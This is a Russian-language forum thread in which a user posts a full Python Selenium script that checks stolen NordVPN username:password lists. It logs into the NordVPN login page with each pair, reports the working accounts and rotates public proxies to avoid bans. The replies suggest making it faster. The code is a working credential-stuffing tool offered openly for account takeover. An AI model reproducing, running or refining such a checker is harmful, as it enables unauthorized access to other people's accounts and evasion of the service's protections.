Защити свои аккаунты качественными и приватными прокси форматов IPv4 и IPv6! - Proxy-seller

NordVPN Checker

expl0iter

Новичок

Доброго времени суток. У каждого на форуме уже имеется чекер на NordVPN, но моё дело предложить.
Устанавливаете python3.7, Google Chrome и вебдрайвер под версию браузера.
Отдельно ставится proxybroker:
Код:
pip install proxybroker
Ставим Selenium:
Код:
pip install selenium
Копируем код и вставляем в любой текстовый редактор или IDLE, сохраняем как файл с расширением .py
В директории с пайтоновским файлом должен лежать список акков на чек (list.txt). Запускаем python3.7 file.py, смотрим на отстук, если начинает выделываться и останавливаться, то скорее всего дело в прокси (либо нашёлся гуд). Один раз вылетел - включили VPN и без остановки продолжаете искать.

Python:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from colorama import Fore, Back, Style
from proxybroker import Broker
import time,colorama,os,asyncio

colorama.init()

class proxyy:
    pxy = ''

def get_proxy():
    proxies = asyncio.Queue()
    broker = Broker(proxies)
    tasks = asyncio.gather(
        broker.find(types=['HTTP'], limit=1),
        show(proxies))
    loop = asyncio.get_event_loop()
    loop.run_until_complete(tasks)

async def show(proxies):
    while True:
        proxy = await proxies.get()
        if proxy is None: break
        proxy = str(proxy)
        proxy = proxy.split('] ')
        proxy.pop(0)
        x = proxy.pop(0)
        x = x [:-1]
        proxyy.pxy = x

def make_list():
    username_list = []
    password_list = []
    with open ("list.txt",'r') as f:
        passlist = [line.strip() for line in f]
        for item in passlist:
            login_split = item.split(":")
            username_list.append(login_split[0])
            password_list.append(login_split[1])
    return username_list,password_list

def find_elements(driver):
    username = driver.find_element_by_name('username')
    password = driver.find_element_by_name('password')
    login_button = driver.find_element_by_xpath('//*[@id="app"]/div/main/div/div/div/form/div/button')
    return username,password,login_button

def send_login(u,p,login_button,uName,pWord):
    u.send_keys(uName)
    p.send_keys(pWord)
    login_button.click()

def is_logged_in(driver,username,password):
    try:
        username = driver.find_element_by_name('username')
        driver.get("https://ucp.nordvpn.com/login/")
        return False
    except:
        return True

def initialize_driver():
    get_proxy()
    proxy = proxyy.pxy

    PROXY = proxy
    service_arg = [
        '--proxy=' + PROXY,
        '--proxy-type=html'
    ]
    chrome_options = Options()
    chrome_options.add_argument("--headless")
    driver = webdriver.Chrome('/path/to/chromedriver')
    return driver

os.system('taskkill /IM chromedriver.exe /F')
driver = initialize_driver()
driver.get('https://ucp.nordvpn.com/login/')
time.sleep(5)
username,password,login_button = find_elements(driver)
username_list,password_list = make_list()
pass_list_length = len(username_list)
print (Fore.GREEN + "[*] {0} logins loaded successfully".format(pass_list_length))
for i in range(0, pass_list_length):
    username,password,login_button = find_elements(driver)
    uName,pWord = username_list[i],password_list[i]
    send_login(username,password,login_button,uName,pWord)
    time.sleep(2)
    balance_beam = is_logged_in(driver,username,password)
    if balance_beam:
        print (Fore.GREEN + "[!] Logged in as {0} with password {1}".format(uName,pWord))
    else:
        print (Fore.RED + "[*] Failed to login as {0} with password {1}".format(uName,pWord))
        print ("[-] Attempt {0}/{1}".format(i+1,pass_list_length))
 

BlackBhakti

Новичок

Можно ли запустить без прокси?
Ты разрешения спрашиваешь? Нельзя, я запрещаю.
А вообще, просто бан по ip словишь.

>selenium
Медленно, но верно ползем к заветным впнкам.
Перепиши на реквесты и все это извращение не понадобится.
 
Сверху Снизу